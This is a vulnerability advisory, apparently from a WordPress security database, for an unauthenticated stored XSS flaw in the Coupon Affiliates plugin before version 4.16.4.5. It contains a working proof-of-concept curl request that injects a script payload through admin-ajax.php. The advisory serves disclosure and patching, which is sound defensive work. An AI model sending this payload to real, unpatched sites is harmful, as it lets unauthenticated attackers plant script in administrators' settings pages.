WordPress Plugin Vulnerabilities

Coupon Affiliates < 4.16.4.5 - Unauthenticated Stored XSS

Description

The plugin does not have authorization and CSRF checks on a specific action handler, as well as does not sanitize its settings, which enables an unauthenticated attacker to inject malicious XSS payloads into the settings page of the plugin.

Proof of Concept

curl https://example.com/wp-admin/admin-ajax.php --data 'action=wcu-update-text&option=wcusage_field_orders&value="></input><script>alert("xss");</script><input'

The XSS will be triggered in the Settings page of the plugin (/wp-admin/admin.php?page=wcusage_settings)

Affects Plugins

Fixed in 4.16.4.5

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-03-02 (about 2 years ago)
Added
2022-03-02 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other